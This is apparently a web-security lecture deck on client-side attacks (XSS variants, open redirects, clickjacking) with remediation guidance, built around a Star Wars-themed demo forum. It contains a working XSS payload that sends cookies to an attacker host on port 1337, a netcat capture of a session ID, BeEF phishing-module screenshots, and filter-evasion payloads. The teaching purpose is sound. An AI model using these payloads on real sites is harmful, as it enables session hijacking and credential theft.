


(Remaining) Client-side Attacks

XSS, Open Redirects, Clickjacking

Rough Overview

1. Introduction
2. Basic Principles and Resources
3. Architecture & Basic Web Procedure
4. Authentication and Session Management
5. Authorization
6. Server and Backend Attacks
7. >> Remaining Client Attacks <<
8. General Topics
9. Conclusions





Have we already discussed
attacks which actually
target the user instead of
the application?

Let's discuss a few more...

```
1  <html>
2  |   <head><title>Jedi Forum 3000</title></head>
3  |   <body>
4  |       <h1>Welcome <?php echo($_GET['uname']); ?></h1>
5  |   </body>
6  </html>
```

do you see any problems?

GET /forum/foerview.php?uname=Luke HTTP/1.1
Host: lightside.me



darksideme


Attacker

GET /forum/foerview.php?uname=<script>alert(document.cookie)</script> HTTP/1.1
Host: lightside.me

phishing



Web Server




```
1 <html>
2   <head><title>Jedi Forum 3000</title></head>
3   <body>
4     <h1>Welcome <?php echo($_GET['uname']); ?></h1>
5   </body>
6 </html>
```

▼ <body>
 ▼ <h1>
 Welcome
 <script>alert(document.cookie)</script>
 </h1>

popping up a cookie is lame?

you're right...

```
http://lightside.me/forum/foerview.php?uname=%3Cscript%3Enew%20Image().src=%22http://darkside.me:1337/%22%2bdocument.cookie%3C/script%3E
```




The screenshot shows a portion of a browser's developer tools DOM tree. It highlights a `<script>` element under an `<body>` node. The `src` attribute of this script tag is highlighted in blue, indicating it is selected. The value of the attribute is `new Image().src="http://darkside.me:1337/" + document.cookie`. The rest of the page content, including an `<h1>` header with the text "Welcome", is visible but not highlighted.

```
root@dvmachine:~# netcat -l -p 1337
GET /PHPSESSID=ccpmgqibn8s42qfaul1d70cu8j HTTP/1.1
Host: darkside.me:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: image/webp, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://lightside.me/forum/foerview.php?uname=%3Cscript%3Enew%20Image().src=%22htt
p://darkside.me:1337/%22%2bdocument.cookie%3C/script%3E
```

still lame?

Let's see what we can do with BeEF



ubuntu_20.04.1 [wird ausgeführt] - Oracle VM VirtualBox

Activities Firefox Web Browser ott 28 19:08

BeEF Control Panel

Getting Started Hook Me!

Hooked Browsers

- Online Browsers
 - lightside.me
- Offline Browsers
 - 192.168.0.157

Module Tree

Module Results History

id...	date	label
0	2020-10-28 19:05	command 1
1	2020-10-28 19:07	command 2

Fake Notification Bar (Firefox)

Description: Displays a fake notification bar at the top of the screen, similar to those presented in Firefox. If the user clicks the notification they will be prompted to download a malicious Firefox extension (by default).

Id: 282

Plugin URL: http://0.0.0.300

Notification text: An additional plu

Execute

Basic Requester Ready

Jedi Forum 3000 Seiten-Ladefehler

lightside.me/forum/foverview.php?uname=... Install plug-in...

Logout

Nachricht Nr:0
User: Yoda
May the force be with us.

Nachricht Nr:1
User: Obi-Wan
Hey there, I'm using signal.

Your message:
Your message goes here

Post

Inspektor Konsole Debugger Netzwerkanalyse Stilbearbeitung Laufzeitanalyse Ausgabe filtern Fehler Warnungen Log Informationen Debug CSS XHR Anfragen

[2020-10-28 19:06:49] GPU: ANGLE (Intel(R) UHD Graphics 620 Direct3D11 vs_5_0 ps_5_0) - Vendor: hook.js:5178:25

ubuntu_20.04.1 [wird ausgeführt] - Oracle VM VirtualBox

Activities Firefox Web Browser ott 28 19:09

BeEF Control Panel 192.168.0.136:3000/ui/panel#id=HNFBcAEbTywtz0ckxdd

Getting Started Hook Me!

Hooked Browsers

- Online Browsers
- lightside.me

Offline Browsers

Module Tree

Module Results History

id...	date	label
0	2020-10-28 19:05	command 1
1	2020-10-28 19:06	command 2
2	2020-10-28 19:09	command 3

Pretty Theft

Description: Asks the user for their username and password using a floating div.

Id: 296

Dialog Type: Facebook

Backing: Grey

Custom Logo (Generic only): http://0.0.0.0:3000

Execute

Jedi Forum 3000 Seiten-Ladefehler lightside.me/forum/foverview.php?uname=<S>

Welcome

Logout

Nachricht Nr:0 User: Yoda May the force be with us.

Nachricht Nr:1 User: Obi-Wan Hey there, I'm using signal.

Your message:

Your message goes here

Facebook Session Timed Out

Your session has timed out due to inactivity. Please re-enter your username and password to login.

Email:

Password:

Log in

Basic Requester Ready

ubuntu_20.04.1 [wird ausgeführt] - Oracle VM VirtualBox

Activities Firefox Web Browser ott 28 19:10

BeEF Control Panel

Getting Started Hook Me!

Hooked Browsers

- Online Browsers
 - lightside.me
- Offline Browsers
 - 192.168.0.157

Module Tree

Search

- Monogap (20)
 - Social Engineering (24)
 - Text to Voice
 - Clickjacking
 - Lcamtuf Download
 - Spooft Address Bar (data)
 - Clippy
 - Fake Flash Update
 - Fake Notification Bar
 - Fake Notification Bar (Ch)
 - Fake Notification Bar (Fire)
 - Fake Notification Bar (IE)
 - Google Phishing
 - Pretty Theft
 - Replace Videos (Fake Pl)
 - Simple Hijacker
 - TabNabbing
 - Edge WScript WSH Inject
 - Fake Evernote Web Clipp
 - Fake LastPass
 - Firefox Extension (Bindsh)
 - Firefox Extension (Dropp
 - Firefox Extension (Revers
 - HTA PowerShell
 - SiteKiosk Breakout
 - User Interface Abuse (IE)

Module Results History

id...	date	label
0	2020-10-28 19:05	command 1
1	2020-10-28 19:06	command 2
2	2020-10-28 19:09	command 3
3	2020-10-28 19:10	command 4

Pretty Theft

Description: Asks the user for their username and password using a floating div.

Id: 296

Dialog Type: Windows

Backing: Grey

Custom Logo (Generic only): <http://0.0.0.0:300>

Execute

192.168.0.136:3000/ui/panel#

Basic Requester Ready

Jedi Forum 3000 Seiten-Ladefehler

lightside.me/forum/foverview.php?uname=...

Welcome

Logout

Nachricht Nr:0
User: Yoda
May the force be with us.

Nachricht Nr:1
User: Obi-Wan
Hey there, I'm using signal.

Your message:
Your message goes here

Post

Windows Security

Enter Network Password
Enter your password to connect to the server

User name
Password
 Remember my credentials

OK



Getting Started

Hook Me!



Hooked Browsers		
Online Browsers		
lightside.me		
?	?	192.168.0.157

Offline Browsers

Getting Started Logs Zombies Current Browser

Details Logs **Commands** Proxy XSSRays Network

Module Tree

Search

Module Results History


id...	date	label
0	2020-10-28 19:05	command 1
1	2020-10-28 19:06	command 2
2	2020-10-28 19:09	command 3
3	2020-10-28 19:10	command 4

Command results

1	Wed Oct 28 2020 19:10:56 GMT+0100 (Central European Standard Time) data: answer=test:testpwd
---	---


Re-execute command

Cross-Site Scripting (XSS)



Goal	Execute malicious JavaScript code in the user's browser
How	
Solution	
OWASP Top 10	
(Primary) Violated Principle	

Cross-Site Scripting (XSS)




Goal	Execute malicious JavaScript code in the user's browser
How	By injecting the code via the application
Solution	
OWASP Top 10	
(Primary) Violated Principle	

darksideme
Attacker

← Exploit

GET /forum/foerview.php?uname=<script>alert(document.cookie)</script> HTTP/1.1
Host: lightside.me

phishing



Web Server

```
1 <html>
2   <head><title>Jedi Forum 3000</title></head>
3   <body>
4     <h1>Welcome <?php echo($_GET['uname']); ?></h1>
5   </body>
6 </html>
```

Vulnerability

Impact

Why is that even necessary?


wouldn't this be easier?

GET /coiframe.html HTTP/1.1
Host: darkside.me

```
coiframe.html > ...
1 <html>
2   <head><title>Dark Side</title></head>
3   <body>
4     <h1>Welcome to the dark side!</h1>
5     <iframe id="targetFrame" src="http://lightside.me/forum/"></iframe>
6     <script>
7       var doc = document.getElementById('targetFrame').contentWindow.document;
8       alert(doc.cookie);
9     </script>
10    </body>
11  </html>
```

darkside.me

Attacker



Same Origin Policy to the rescue!

```
» document.getElementById('targetFrame').contentWindow.document;
← DOMException: Permission denied to access property "document" on cross-origin object
```


```
GET /coiframe.html HTTP/1.1
Host: darkside.me

↳ coiframe.html > ...
1 <html>
2   <head><title>Dark Side</title></head>
3   <body>
4     <h1>Welcome to the dark side!</h1>
5     <iframe id="targetFrame" src="http://lightside.me/forum/"></iframe>
6     <script>
7       var doc = document.getElementById('targetFrame').contentWindow.document;
8       alert(doc.cookie);
9     </script>
10    </body>
11  </html>
```

Remember SOP from previous chapter?

- The web's basic security model
 - Basic idea:
 - Code from one origin (`darkside.me`) is not allowed to interfere with resources of another origin (`lightside.me`)
 - Origin = Protocol + Host + Port
 - `http://darkside.me:80`
 - `http://lightside.me:80`

Cross-Site Scripting (XSS)



Goal

Execute malicious JavaScript code in the user's browser

How

Different types


Solution

OWASP Top 10

(Primary)
Violated Principle

darksideme
Attacker

Reflected XSS




Stored XSS



- persistent
- exploit-code is stored in the application
 - e.g. guestbook, forum, social media, etc.
- victim receives exploit-code by viewing content

Stored XSS




Screenshot of a forum application titled "Jedi Forum 3000". The URL in the address bar is lightside.me/forum/foview.php?uname=lord+vader. The page displays a message: "Welcome luke". On the left, there's a sidebar with user info: "Nachricht Nr:0 User: Yoda May the force be with us". In the center, a modal dialog box shows the session ID: "PHPSESSID=5c03mgadld6k131maq3l420fi1". At the bottom, there's another sidebar with user info: "Nachricht Nr:1 User: Obi-Wan Hey there, I'm using signal." and "Nachricht Nr:2 User: lord vader Don't mind me, I'm just hanging around...". A status bar at the bottom says "Übertragen der Daten von lightside.me...".

Screenshot of a forum application titled "Jedi Forum 3000". The URL in the address bar is lightside.me/forum/foview.php?uname=lord+vader. The page displays a message: "Welcome lord vader". On the right, there's a sidebar with user info: "Nachricht Nr:0 User: Yoda May the force be with us.". Below it, another sidebar shows: "Nachricht Nr:1 User: Obi-Wan Hey there, I'm using signal.". At the bottom, there's a form for posting messages. The "Your message:" field contains the exploit code: "Don't mind me, I'm just hanging around...<script>alert(document.cookie)</script>". A "Post" button is at the bottom of the form.

both types require a flaw in
the server-side code


can you think of a scenario that
happens on the client side only?

```
< domoverview.html > ...
1   <html>
2     <head><title>Jedi Forum 3000</title></head>
3     <body>
4       <script>
5         var uname = (new URLSearchParams(window.location.search)).get('uname');
6       </script>
7
8       <h1>Welcome <script>document.write(uname)</script></h1>
9
10      </body>
11    </html>
```



payload still needs to travel to the server and back...

```
< domoverview.html > ...
1  <html>
2      <head><title>Jedi Forum 3000</title></head>
3  <body>
4      <script>
5          //var uname = (new URLSearchParams(window.location.search)).get('uname');
6          var uname = (new URLSearchParams(window.location.hash.substr(1))).get('uname');
7      </script>
8
9      <h1>Welcome <script>document.write(uname)</script></h1>
10
11     </body>
12 </html>
```




now it's on the client-side only

DOM-based XSS

- Payload is embedded by the client-side script
- No flaw on the server-side necessary
 - only on the client-side
- „Purest“ form: injection via fragment
 - `http://<domain>#<exploit>`
 - `<exploit>` never reaches server
- Also called „Client XSS“

Combination Stored + Client XSS

```
< domstored.html > ...
1  <html>
2    <head><title>Jedi Forum 3000</title></head>
3    <body>
4      <script>
5        var req = new XMLHttpRequest()
6        req.open("GET", "http://lightside.me/forum/messages.json", false);
7        req.send();
8        var messages = JSON.parse(req.responseText).messages;
9
10       messages.forEach((message) => {
11         document.write("User: " + message.u + "<br>")
12         document.write("Message: " + message.m + "<br><br>")
13       });
14
15     </script>
16   </body>
17 </html>
```



XSS Variations

Serverside Flaw

Clientside Flaw

Reflected
("Non-Persistent")

Stored
("Persistent")

XSS Variations

Serverside Flaw

Clientside Flaw

Reflected
("Non-Persistent")

Attacker slips victim malicious link
Payload is sent to the server
Server embeds payload in response
Browser interprets response

Classic Reflected XSS
(Reflected Server XSS)

Stored
("Persistent")

XSS Variations

Serverside Flaw

Reflected
("Non-Persistent")

Attacker slips victim malicious link
Payload is sent to the server
Server embeds payload in response
Browser interprets response

Classic Reflected XSS
(Reflected Server XSS)

Stored
("Persistent")

Clientside Flaw

Attacker slips victim malicious link
(In some cases payload is sent to the server and reflected back)
Client application embeds payload
Browser interprets payload

Classic DOM-based XSS
(Reflected Client XSS)

XSS Variations

Serverside Flaw

Reflected
("Non-Persistent")

Attacker slips victim malicious link
Payload is sent to the server
Server embeds payload in response
Browser interprets response

Classic Reflected XSS
(Reflected Server XSS)

Stored
("Persistent")

Attacker inserts malicious payload
User browses content
Server embeds payload in response
Browser interprets response

Classic Stored XSS
(Stored Server XSS)

Clientside Flaw

Attacker slips victim malicious link
(In some cases payload is sent to the server and reflected back)
Client application embeds payload
Browser interprets payload

Classic DOM-based XSS
(Reflected Client XSS)

XSS Variations

Serverside Flaw

Clientside Flaw

Reflected
("Non-Persistent")

Attacker slips victim malicious link
Payload is sent to the server
Server embeds payload in response
Browser interprets response

Classic Reflected XSS
(Reflected Server XSS)

Attacker slips victim malicious link
(In some cases payload is sent to the server and reflected back)
Client application embeds payload
Browser interprets payload

Classic DOM-based XSS
(Reflected Client XSS)

Stored
("Persistent")


Attacker inserts malicious payload
User browses content
Server embeds payload in response
Browser interprets response

Classic Stored XSS
(Stored Server XSS)

Attacker inserts malicious payload
User browses content
Client application embeds payload
Browser interprets payload

Stored DOM-based XSS
(Stored Client XSS)

Cross-Site Scripting (XSS)



Goal	Execute malicious JavaScript code in the user's browser			
How	By injecting the code via the application			
	Different types	Variations	Serverside Flaw	Clientside Flaw
		Non-Persistent	Reflected Server XSS	Reflected Client XSS
		Persistent	Stored Server XSS	Stored Client XSS
Solution				
OWASP Top 10				
(Primary) Violated Principle				


and for the XSS nerds among you

there are two more special types

mXSS (mutation-based)

- `.innerHTML` – sets HTML in an element
- browsers modify (“fix”) it to prevent malformed code
 - in special cases, this modification changes benign string to effective payload
 - different browsers = different ways of modification
 - different anti-xss libraries = different ways of modification

mXSS (mutation-based) - 2019



```
> template.content.children[0]
<- ▼<noscript>
    <p title="</noscript><img src=x onerror=alert(1)>"></p>
  </noscript>
```

<https://www.youtube.com/watch?v=IG7U3fuNw3A>

```
<.. ▼<div>
    <noscript><p title="</noscript>
    
    "">
    <p></p>
  </div>
```

<https://cure53.de/fp170.pdf>


<https://hackinparis.com/data/slides/2013/slidesmarioheiderich.pdf>

uXSS (universal XSS)

- exploit vulnerabilities of browser or browser extension
 - attacker gains control over all sessions in the browser
 - doesn't depend on a vulnerable web application
- previous publicly known cases (exz.)
 - Adobe Acrobat extension for IE 6 and Mozilla
 - XSS Filter of IE 8
 - Flash Player
 - Chrome for Android

<https://www.acunetix.com/blog/articles/universal-cross-site-scripting-uxss/>
<https://research.google/pubs/pub48028/>

Cross-Site Scripting (XSS)



Goal	Execute malicious JavaScript code in the user's browser			
How	By injecting the code via the application			
	Different types	Variations	Serverside Flaw	Clientside Flaw
		Non-Persistent	Reflected Server XSS	Reflected Client XSS
		Persistent	Stored Server XSS	Stored Client XSS
Solution				
OWASP Top 10				
(Primary) Violated Principle				

Input Validation

- Yes, as strict as possible
 - most probably that's not enough
 - there are hundreds of possible variations and injection points
 - very hard to filter all of them

```
<script>alert('XSS')</script>
<svg onload=alert('XSS') />
<img src @error=this.alert('XSS')>
<a href="javascript:alert('XSS')">XSS</a>
```

<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>
<https://owasp.org/www-community/xss-filter-evasion-cheatsheet>

Output Encoding

Really depends on the context

- OWASP Cheat Sheet lists 12 rules for successful XSS prevention
- The first 4:

#0 Never Insert Untrusted Data Except in Allowed Locations

#1 HTML Encode Before Inserting Untrusted Data into HTML Element Content

#2 Attribute Encode Before Inserting Untrusted Data into HTML Common Attributes

#3 JavaScript Encode Before Inserting Untrusted Data into JavaScript Data Values

Output Encoding

#0 Never Insert Untrusted Data Except in Allowed Locations

Directly in a script:

```
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
```

Inside an HTML comment:

```
<!--...NEVER PUT UNTRUSTED DATA HERE...-->
```

In an attribute name:

```
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
```

In a tag name:

```
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
```

Directly in CSS:

```
<style>
  ...NEVER PUT UNTRUSTED DATA HERE...
</style>
```

Output Encoding

#1 HTML Encode Before Inserting Untrusted Data into HTML Element Content

```
<body>  
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...  
</body>
```

```
<div>  
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...  
</div>
```

Characters to encode:

& --> &

< --> <

> --> >

" --> "

' --> '

Output Encoding

#2 Attribute Encode Before Inserting Untrusted Data into HTML Common Attributes

Encode all characters
(excl. alphanumeric) in
„&#xHH“ format or named if available

Inside **UNquoted** attribute:

```
<div attr=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...>content
```

Inside single quoted attribute:

```
<div attr='...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...'>content
```

Inside double quoted attribute :

```
<div attr="...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">content
```

Especially for unquoted attributes:

[space] % * + , - / ; < = > ^ and |

Output Encoding

#3 JavaScript Encode Before Inserting Untrusted Data into JavaScript Data Values

Encode all characters
(excl. alphanumeric) in
„\xHH“ format

Inside a quoted string:

```
<script>alert('...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
```

One side of a quoted expression:

```
<script>x='...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
```

Inside quoted event handler:

```
<div onmouseover="x='...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...' "></div>
```

```
<script>  
window.setInterval('...EVEN IF YOU ENCODE UNTRUSTED DATA YOU ARE XSSSED HERE...');  
</script>
```

Use libraries, frameworks and templates (correctly)

.NET HtmlSanitizer

- <https://github.com/mganss/HtmlSanitizer>

OWASP Java HTML Sanitizer

- <https://owasp.org/www-project-java-html-sanitizer/>

Ruby on Rails SanitizeHelper

- <https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html>

Python Bleach

- <https://pypi.org/project/bleach/>

PHP HTML Purifier

- <http://htmlpurifier.org/>

JavaScript / Node.js

- HTML sanitizer (Google Closure Library)
 - <https://github.com/google/closure-library/blob/master/closure/goog/html/sanitizer/htmlsanitizer.js>
- DOMPurify
 - <https://github.com/cure53/DOMPurify>

Use libraries, frameworks and templates (correctly)

Angular template

```
<h3>Binding innerHTML</h3>
<p>Bound value:</p>
<p class="e2e-inner-html-interpolated">{{htmlSnippet}}</p>
<p>Result of binding to innerHTML:</p>
<p class="e2e-inner-html-bound" [innerHTML]="htmlSnippet"></p>
```

<https://angular.io/guide/security>

completely escaped

interprets HTML but not JavaScript

Be careful with functions like `sanitizer.bypassSecurityTrustUrl()`

Use libraries, frameworks and templates (correctly)

React template

```
function App() {
  const userInput = "Hi, <img src=' ' onerror='alert(0)' />";

  return (
    <div>
      {userInput}
    </div>
  );
}
```

<https://dev.to/spukas/preventing-xss-in-react-applications-5f5j>

Be careful with things like dangerouslySetInnerHTML={}

Use libraries, frameworks and templates (correctly)

Go template

Example

```
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
```

produces

```
Hello, <script>alert('you have been pwned')</script>!
```

but the contextual autoescaping in html/template

```
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
```

produces safe, escaped HTML output

```
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
```

Content Security Policy (CSP)

- Restricts resources the application is allowed to load
- Content-Security-Policy: default-src 'self'
 - Allows scripts from same origin
`<script src='messageparser.js'></script>`
 - But neither from different
`<script src='http://darkside.me/payload.js'></script>`
 - Nor inline code
``
 - Of course you can allow specific trusted domains
`Content-Security-Policy: default-src 'self' *.trustedpartner.com`
- Also activate reporting
 - Reporting-Endpoints: endp-1="https://lightside.me/csreport"
 - Content-Security-Policy: default-src 'self'; report-to endp-1

Content Security Policy (CSP)

- Or specify one specific script as a trusted script loader instead of defining an allowlist
 - this script is identified by a random (changing) nonce

```
Content-Security-Policy: script-src 'nonce-r@nd0m' 'strict-dynamic';default-src 'self';
```

```
<script src="/script-loader.js" nonce="r@nd0m"></script>
```

<https://content-security-policy.com/strict-dynamic/>


HTTP Only Flag

Set Cookie flag „HttpOnly“ to prevent cookie access via Javascript

- especially for session ID cookies!


Defense in depth: also disable the HTTP method „TRACE“

- In theory, an attacker could send a TRACE request to the server via XSS (XST)
- Cookie would get appended to the request
- Server response would contain whole request including cookie
- Attacker would be able to read cookie from response
- But browsers simply block TRACE requests -> currently no known exploitable attack vector



Cross-Site Scripting (XSS)


Goal	Execute malicious JavaScript code in the user's browser			
How	By injecting the code via the application			
	Different types	Variations	Serverside Flaw	Clientside Flaw
		Non-Persistent	Reflected Server XSS	Reflected Client XSS
		Persistent	Stored Server XSS	Stored Client XSS
Solution	Input Validation (and WAFs) Output Encoding (frameworks) CSP HTTPOnly Flag			
OWASP Top 10				
(Primary) Violated Principle				



Cross-Site Scripting (XSS)

Goal	Execute malicious JavaScript code in the user's browser			
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OWASP Top 10	A7:2017-Cross-Site Scripting (XSS)			
(Primary) Violated Principle				

Cross-Site Scripting (XSS)



Goal	Execute malicious JavaScript code in the user's browser			
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	Different types	Variations	Serverside Flaw	Clientside Flaw
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Solution	Input Validation (and WAFs) Output Encoding (frameworks) CSP HTTPOnly Flag			
OWASP Top 10	A7:2017-Cross-Site Scripting (XSS)			
(Primary) Violated Principle	„Strictly separate data and control instructions, and never process control instructions received from untrusted sources.“			

Nice real life example

Samy / JS.Spacehero

MySpace Worm

2005

Fastest spreading worm of all times
> 1.000.000 users within 20 hours

2 actions

- Posted "but most of all, samy is my hero" on the victims profile page
- Added Samy as friend

enough about XSS


Jedi Entry Page

Hey fellow jedi, welcome

What's your name?
Luke

What's your saber color preference?>
 Blue
 Green

Enter saber shop





#	Host	Method	URL
559	http://lightside.me	GET	/redirect/blue/
558	http://lightside.me	GET	/redirect/redirect.php?uname=Luke&color=blue
557	http://lightside.me	GET	/redirect/

Response


Raw Headers Hex

Pretty Raw Render In Actions ▾

```
1 HTTP/1.1 302 Found
2 Date: Sat, 07 Nov 2020 15:46:14 GMT
3 Server: Apache/2.4.38 (Debian) PHP/7.3.19-1~deb10u1
4 X-Powered-By: PHP/7.3.19-1~deb10u1
5 Location: blue
6 Content-Length: 0
7 Connection: close
8 Content-Type: text/html; charset=UTF-8
9
```




Unverified/Open Redirects/Forwards




Goal	Lure victim to a malicious site very good way for phishing attacks
How	
Solution	
OWASP Top 10	
(Primary) Violated Principle	

Unverified/Open Redirects/Forwards




Goal	Lure victim to a malicious site very good way for phishing attacks
How	If userinput is used in redirection/forward links, those links can be manipulated
Solution	
OWASP Top 10	
(Primary) Violated Principle	

Unverified/Open Redirects/Forwards



Goal	Lure victim to a malicious site very good way for phishing attacks
How	If userinput is used in redirection/forward links, those links can be manipulated
Solution	validate redirection/forward URLs by explicit allowlist if possible
OWASP Top 10	
(Primary) Violated Principle	


Unverified/Open Redirects/Forwards



Goal	Lure victim to a malicious site very good way for phishing attacks
How	If userinput is used in redirection/forward links, those links can be manipulated
Solution	validate redirection/forward URLs by explicit allowlist if possible
OWASP Top 10	
(Primary) Violated Principle	

```
1 <?php
2   header('Location: '.$_GET['color']);
3 ?>
```


Unverified/Open Redirects/Forwards



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
```
1 <?php
2   header('Location: '.$_GET['color']);
3 ?>
4
5 <?php
6   if ($_GET['color'] == "green" or $_GET['color'] == "blue")
7     header('Location: '.$_GET['color']);
8   else
9     print("Attack detected");
10 ?>
```

Unverified/Open Redirects/Forwards





Goal	Lure victim to a malicious site very good way for phishing attacks
How	If userinput is used in redirection/forward links, those links can be manipulated
Solution	validate redirection/forward URLs by explicit allowlist if possible
OWASP Top 10	Was kicked from Top 10 2017
(Primary) Violated Principle	<pre>1 <?php 2 header('Location: '.\$_GET['color']); 3 ?> 4 5 <?php 6 if (\$_GET['color'] == "green" or \$_GET['color'] == "blue") 7 header('Location: '.\$_GET['color']); 8 else 9 print("Attack detected"); 10 ?></pre>

Unverified/Open Redirects/Forwards



Goal	Lure victim to a malicious site very good way for phishing attacks
How	If userinput is used in redirection/forward links, those links can be manipulated
Solution	validate redirection/forward URLs by explicit allowlist if possible
OWASP Top 10	Was kicked from Top 10 2017
(Primary) Violated Principle	„Define an approach that ensures all data are explicitly validated.“

```
1 <?php
2   header('Location: '.$_GET['color']);
3 ?>
4
5 <?php
6   if ($_GET['color'] == "green" or $_GET['color'] == "blue")
7     header('Location: '.$_GET['color']);
8   else
9     print("Attack detected");
10 ?>
```



Death Star Status Clickjacking Demo

← → ⌂ ⌄

lightside.me/clickjacking.html

Hi Lord Vader, do you Want a free new helmet?

sure, get me this free helmet!

active

This screenshot shows a browser window with two tabs open. The 'Clickjacking Demo' tab is active. The address bar indicates the page is 'lightside.me/clickjacking.html'. The main content area contains a large, bold text message: 'Hi Lord Vader, do you Want a free new helmet?'. Below this message is a button with the text 'sure, get me this free helmet!'. A small rectangular box labeled 'active' is positioned near the bottom left of the content area.

Death Star Status Clickjacking Demo

← → ⌂ ⌄

darkside.me/deathstar.php


Current Status: inactive

inactive

active


This screenshot shows a browser window with two tabs open. The 'Clickjacking Demo' tab is active. The address bar indicates the page is 'darkside.me/deathstar.php'. The main content area contains a large green text message: 'Current Status: inactive'. Below this message are two buttons: one labeled 'inactive' and another labeled 'active'.

Clickjacking




Goal	Lure victim into clicking things he actually doesn't want to
How	
Solution	
OWASP Top 10	
(Primary) Violated Principle	

Clickjacking




Goal	Lure victim into clicking things he actually doesn't want to
How	By including the form as a transparent overlay-iFrame. So the user thinks he clicks at the visible underlay, but actually clicks the invisible overlay.
Solution	
OWASP Top 10	
(Primary) Violated Principle	




Clickjacking

Goal	Lure victim into clicking things he actually doesn't want to
How	By including the form as a transparent overlay-iFrame. So the user thinks he clicks at the visible underlay, but actually clicks the invisible overlay.
Solution	X-Frame-Options Header X-Frame-Options: deny X-Frame-Options: sameorigin X-Frame-Options: allow-from https://my-trusted-partner.com
OWASP Top 10	
(Primary) Violated Principle	



Clickjacking

Goal	Lure victim into clicking things he actually doesn't want to
How	By including the form as a transparent overlay-iFrame. So the user thinks he clicks at the visible underlay, but actually clicks the invisible overlay.
Solution	X-Frame-Options Header X-Frame-Options: deny X-Frame-Options: sameorigin X-Frame-Options: allow-from https://my-trusted-partner.com CSP Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: frame-ancestors 'self' Content-Security-Policy: frame-ancestors my-trusted-partner.com;
OWASP Top 10	
(Primary) Violated Principle	



Clickjacking

Goal	Lure victim into clicking things he actually doesn't want to
How	By including the form as a transparent overlay-iFrame. So the user thinks he clicks at the visible underlay, but actually clicks the invisible overlay.
Solution	X-Frame-Options Header X-Frame-Options: deny X-Frame-Options: sameorigin X-Frame-Options: allow-from https://my-trusted-partner.com CSP Content-Security-Policy: frame-ancestors 'none' Content-Security-Policy: frame-ancestors 'self' Content-Security-Policy: frame-ancestors my-trusted-partner.com;
OWASP Top 10	-
(Primary) Violated Principle	„Earn or give, but never assume, trust.“

Key messages

- we don't just need to protect our servers and backend
- we also need to protect our clients/users
 - especially we don't want to be the weapon they use to fight each other...
- validate user input
- escape/sanitize user input for the specific context you use it in

**THE CLIENT,
YOU MUST NEVER TRUST**



MY YOUNG PADAWAN